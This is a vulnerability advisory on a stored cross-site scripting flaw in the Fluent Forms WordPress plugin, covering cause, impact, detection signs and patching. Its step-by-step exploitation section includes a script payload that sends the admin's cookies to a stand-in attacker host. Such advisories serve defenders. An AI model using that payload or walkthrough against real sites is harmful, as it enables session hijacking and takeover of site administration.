CVE-2026-18146: 
WordPress vulnerability analysis and mitigation

CVE-2026-18146 is a Stored Cross-Site Scripting (XSS) vulnerability in the Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress. It affects all versions up to and including 6.2.11, caused by insufficient input sanitization and output escaping of Notification Smartcode Values. The vulnerability was published on August 13, 2026, with a patch available in version 6.2.12. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in how the plugin processes Smartcode values within email notification configurations. The vulnerable code paths are located in ShortCodeParser.php (lines 142 and 145) and EmailNotification.php (line 196), where attacker-controlled input is not properly sanitized before being stored and later rendered in the WordPress admin dashboard. Exploitation requires a precondition: a site administrator or Fluent Forms manager must have configured an email notification whose subject line or static "Send To" field references an attacker-influenced Smartcode — such as an input_password field value, a cookie value, or submission.response. When such a configuration exists, an unauthenticated attacker can submit a form with a malicious payload that gets stored and later executed in the admin's browser (GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript that executes in the browser of any administrator or user with Fluent Forms entry-viewing capability when they access the form's Submission Logs in the WordPress admin dashboard. This can result in session hijacking, credential theft, unauthorized administrative actions, or further compromise of the WordPress site. The scope change (S:C in CVSS) reflects that the impact crosses from the plugin context into the broader WordPress admin environment (GitHub Advisory).

As of the disclosure date (August 13, 2026), there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The NVD SSVC assessment rates the vulnerability as automatable with partial technical impact and no known exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation is conditional on a specific email notification configuration referencing attacker-influenced Smartcodes, which limits the attack surface compared to fully unconditional XSS vulnerabilities (GitHub Advisory).

1. Reconnaissance: Identify WordPress sites running the Fluent Forms plugin at version 6.2.11 or earlier. Confirm that the site has publicly accessible forms.
2. Identify target form: Locate a form that includes fields such as input_password, or where the form's email notification subject or "Send To" field references a Smartcode tied to user-supplied input (e.g., {inputs.password}, {submission.response}, or a cookie value).
3. Craft malicious payload: Prepare a form submission where the attacker-controlled field (e.g., password field or response field) contains a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Submit the form: Submit the form as an unauthenticated user. The malicious payload is stored in the submission log via the unescaped Smartcode value in the email notification configuration.
5. Wait for admin trigger: When an administrator or authorized user views the form's Submission Logs in the WordPress admin dashboard, the stored payload executes in their browser.
6. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the admin, or exfiltrate sensitive data visible in the admin context (GitHub Advisory).

• Logs: WordPress access logs showing form submissions with unusual or encoded content in password or response fields; admin dashboard access to Submission Logs shortly followed by unexpected outbound requests.
• Network: Outbound HTTP requests from the administrator's browser to unknown external domains immediately after viewing Submission Logs; requests containing URL-encoded cookie data or session tokens.
• File System: Unexpected modifications to WordPress admin files or creation of new admin accounts following admin session compromise.
• Process/Behavior: New administrator accounts created without authorization; unexpected plugin installations or settings changes in the WordPress admin panel following a Submission Log view event (GitHub Advisory).

Update the Fluent Forms plugin to version 6.2.12 or later, which contains the fix in ShortCodeParser.php (changeset 3640683). The patch diff is available at the WordPress plugin repository changeset between tags 6.2.11 and 6.2.12. As an interim workaround, audit all email notification configurations and remove any that reference attacker-influenced Smartcodes (e.g., input_password, submission.response, or cookie values) in subject lines or static "Send To" fields. Additionally, restrict access to Submission Logs to only essential administrators and consider implementing Content Security Policy (CSP) headers to reduce XSS impact (GitHub Advisory).

The vulnerability was catalogued by Wordfence's threat intelligence platform and published to the GitHub Advisory Database on August 13, 2026. No significant public researcher commentary or social media discussion has been identified at this time (GitHub Advisory).